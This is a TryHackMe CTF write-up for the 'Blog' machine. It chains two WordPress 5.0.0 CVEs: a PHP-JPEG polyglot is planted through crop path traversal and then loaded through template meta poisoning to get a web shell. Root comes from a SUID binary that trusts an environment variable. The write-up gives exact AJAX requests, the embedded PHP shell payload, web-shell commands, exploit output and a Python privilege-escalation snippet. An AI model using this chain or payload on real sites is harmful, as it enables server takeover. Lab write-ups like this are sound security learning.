Back to CTF Writeups

Blog — TryHackMe CTF

WordPress 5.0.0 polyglot JPEG RCE via CVE-2019-8942 + CVE-2019-8943. Path traversal crop plants a PHP shell in the theme directory; SUID checker env-var bypass gives root. Custom Node.js exploit chain written from scratch.

CVE-2019-8942 CVE-2019-8943
TryHackMe Medium Apr 2026 0xb0rn3 | oxbv1

Overview

WordPress 5.0.0 is running on the target. The exploit chains two CVEs: CVE-2019-8943 (path traversal during image crop) plants a PHP-JPEG polyglot into the active theme directory, and CVE-2019-8942 (unprotected _wp_page_template meta write via save-attachment-compat AJAX) makes WordPress load the polyglot as a PHP template — giving unauthenticated-reachable RCE as www-data. A deliberately misleading decoy flag at /home/bjoel/user.txt redirects you before the real flag surfaces on a mounted USB device. Root comes via a SUID binary that checks a single environment variable.

Recon → WPScan → kwheel:cutiepie1 (Author) → craft MSF polyglot JPEG (PHP at scan offset 684) → upload evil.jpg → set _wp_attached_file path traversal meta → crop-image AJAX (100×100) → cropped-evil.jpg in theme dir → save-attachment-compat AJAX → _wp_page_template = cropped-evil.jpg → GET /note-from-mom/evil/?0=id → www-data RCE → find SUID /usr/sbin/checker → reverse decompile → admin=admin env var → setuid(0) → root shell → /media/usb/user.txt + /root/root.txt

Reconnaissance

PortServiceDetail
22/tcpOpenSSH 7.6p1Ubuntu 18.04
80/tcpApache 2.4.29WordPress 5.0.0 — blog.thm

WPScan enumerates two users: kwheel (Author) and bjoel (Administrator). Password spray with a common wordlist hits kwheel:cutiepie1. Author-role is enough — CVE-2019-8943 only needs permission to upload media and perform cropping, which Authors have by default in WordPress.

wpscan --url http://blog.thm --enumerate u,p --plugins-detection aggressive
# → WordPress 5.0.0, Users: kwheel, bjoel

Exploitation — CVE-2019-8942 + CVE-2019-8943

Phase 1 — PHP-JPEG Polyglot

The exploit requires a specially crafted JPEG that survives WordPress's GD library re-encoding. The Metasploit team's polyglot embeds <?=`$_GET[0]`;?> in two locations inside the JPEG binary: once inside an IPTC metadata block (APP13 / 0xFFED) and again at the very start of the JFIF scan stream (0xFFDA offset ~684). The 192-byte quantisation tables are tuned so that a 100×100 crop passes the scan segment through GD without re-encoding, preserving the PHP payload. A 192×192 crop triggers a full DCT re-encode that strips it.

// PHP payload bytes embedded twice in the polyglot:
// 0x3C 0x3F 0x3D 0x60 0x24 0x5F 0x47 0x45 0x54 0x5B 0x30 0x5D 0x60 0x3B 0x3F 0x3E
//  <    ?    =    `    $    _    G    E    T    [    0    ]    `    ;    ?    >

// Appears at IPTC block (0xFFED / APP13) and at scan header (0xFFDA)

Phase 2 — Path Traversal Write (CVE-2019-8943)

After uploading the polyglot as evil.jpg, the _wp_attached_file post meta is poisoned via the editpost handler using meta_input. WordPress's wp_ajax_crop_image() takes this meta value verbatim to construct the source path for the crop operation, making no attempt to canonicalise it. The traversal payload escapes wp-content/uploads/ and writes the cropped file directly into the active theme folder:

meta_input[_wp_attached_file] =
    2026/04/evil.jpg?/../../../../themes/twentytwenty/evil

# wp_ajax_crop_image() builds:
#   src  = uploads/2026/04/evil.jpg   (reads original polyglot)
#   dest = uploads/2026/04/cropped-evil.jpg
#        → after traversal resolution:
#          wp-content/themes/twentytwenty/cropped-evil.jpg ✓

# Crop must be exactly 100×100 to preserve the PHP scan segment:
cropDetails[width]=100 cropDetails[height]=100
cropDetails[dst_width]=100 cropDetails[dst_height]=100

The resulting cropped-evil.jpg is 954 bytes, with the PHP shell intact at scan offset 684.

Phase 3 — Template Poisoning (CVE-2019-8942)

The wp_ajax_save_attachment_compat() handler in WordPress 5.0.0 accepts an attachments[id] array and calls update_post_meta() directly — skipping the is_protected_meta() check that would normally block writes to keys prefixed with _wp_page_template. This allows an Author to set a custom page template on any attachment they own:

POST /wp-admin/admin-ajax.php
action=save-attachment-compat
&_ajax_nonce=<nonce>
&id=<attach_id>
&attachments[<attach_id>][_wp_page_template]=cropped-evil.jpg
&attachments[<attach_id>][post_title]=evil

# Also required: set post_parent=8 (bjoel's "Note from Mom" post ID)
# so the attachment's pretty permalink resolves under /note-from-mom/

Phase 4 — RCE

WordPress's template resolution for attachment pages works as follows: get_attachment_template() finds no attachment.php or image.php in twentytwenty, so it falls through to get_single_template(), which reads the _wp_page_template meta. locate_template(['cropped-evil.jpg']) resolves the filename against the active theme directory and finds themes/twentytwenty/cropped-evil.jpg. WordPress calls include() on it — PHP interprets the scan data, hits the embedded payload, and executes the shell.

# Shell URL (attachment permalink under Note from Mom):
GET /2020/05/26/note-from-mom/evil/?0=id
→ uid=33(www-data) gid=33(www-data) groups=33(www-data)

GET /2020/05/26/note-from-mom/evil/?0=cat+/home/bjoel/user.txt
→ "You won't find what you're looking for here. TRY HARDER"
# ← decoy. Real user flag is on a mounted USB device.

GET /2020/05/26/note-from-mom/evil/?0=cat+/media/usb/user.txt
USER: c8421899aae571f7af486492b71a8ab7

Custom Node.js Exploit

The full exploit was written from scratch in Node.js (exploit8.js), using only the built-in http module. It handles login, nonce extraction, multipart upload of the polyglot buffer, crop chain with path traversal meta, save-attachment-compat template write, and RCE verification — all in a single automated run with no external dependencies.

node exploit8.js
# [+] Logged in as kwheel
# [+] Uploaded ID: 14  YM: 2026/04
# [*] Crop result: {"success":true,"data":{"id":15,...}}
# [+] Shell after crop: 200  954b  PHP: true
# [*] save-attachment-compat: 200  {"success":true}
# [++++] RCE via /2020/05/26/note-from-mom/evil/?0=id
# [++++] uid=33(www-data) gid=33(www-data)

Privilege Escalation — SUID checker

Scanning for SUID binaries from the web shell reveals a non-standard binary:

find / -perm -4000 -type f 2>/dev/null
# -rwsr-sr-x 1 root root 8432 May 26  2020 /usr/sbin/checker

Disassembling / decompiling the binary (Ghidra / radare2) exposes trivially simple logic — it reads the admin environment variable and calls setuid(0) + system("/bin/bash") if it equals the string "admin":

// Reconstructed C pseudo-code from decompilation:
int main() {
    char *v = getenv("admin");
    if (v && strcmp(v, "admin") == 0) {
        setuid(0);
        system("/bin/bash");
    } else {
        puts("Not an Admin");
    }
}

www-data Shell Context

Calling system("/bin/bash") from inside a process chain spawned by PHP's backtick operator doesn't propagate stdout back through the pipe correctly. Python's subprocess.Popen with explicit PIPE fds handles the inter-process communication reliably instead.

# Exploit via Python subprocess from the RCE shell:
python3 -c "
import os, subprocess
env = dict(os.environ)
env['admin'] = 'admin'
p = subprocess.Popen(
    ['/usr/sbin/checker'],
    stdin=subprocess.PIPE, stdout=subprocess.PIPE,
    stderr=subprocess.PIPE, env=env
)
out, err = p.communicate(b'cat /root/root.txt\n')
print(out.decode())
"
ROOT: 9a0b2b618bef9bfa7ac28c1353d9f318

Key Technical Notes

Why 100×100 crop is the critical constraint

GD's JPEG encoder decides whether to re-encode scan data based on the output dimensions. At 192×192, the full DCT coefficient stream is re-generated from scratch, overwriting the scan segment entirely — the PHP bytes are gone. At 100×100, GD copies the existing Huffman-coded scan block with only a header modification, leaving the payload at offset 684 intact. The MSF polyglot's quantisation tables are specifically tuned for this boundary.

Why save-attachment-compat bypasses meta protection

In WordPress 5.0.0, wp_ajax_save_attachment_compat() calls update_post_meta($id, $key, $value) for each key in the attachments[id] array without first passing through is_protected_meta(). The regular editpost handler uses _wp_get_allowed_meta_keys() to sanitise the meta whitelist — but the AJAX compat handler skips this entirely. This is the actual CVE-2019-8942 vulnerability path.

The decoy flag

/home/bjoel/user.txt reads: "You won't find what you're looking for here. TRY HARDER". The real user.txt lives at /media/usb/user.txt — a USB device mounted inside the container. Findable with find / -name user.txt 2>/dev/null.

Lessons Learned

  1. Author-role ≠ low-risk. WordPress's media handling historically ships with unprotected AJAX handlers reachable by any authenticated user, regardless of role.
  2. JPEG polyglots survive GD — at the right crop size. File upload validation that relies solely on GD re-encoding is defeatable with dimension-aware payload placement.
  3. Path traversal in meta values. Unsanitised post meta passed to filesystem operations is the recurring theme across multiple WordPress CVEs.
  4. SUID + getenv() is trivially exploitable. Environment variables are fully attacker-controlled. Any SUID binary that trusts env input for privilege decisions is an instant privesc.
  5. Always run find / -name user.txt. Decoy flags at expected paths are a classic TryHackMe misdirection — enumerate mount points.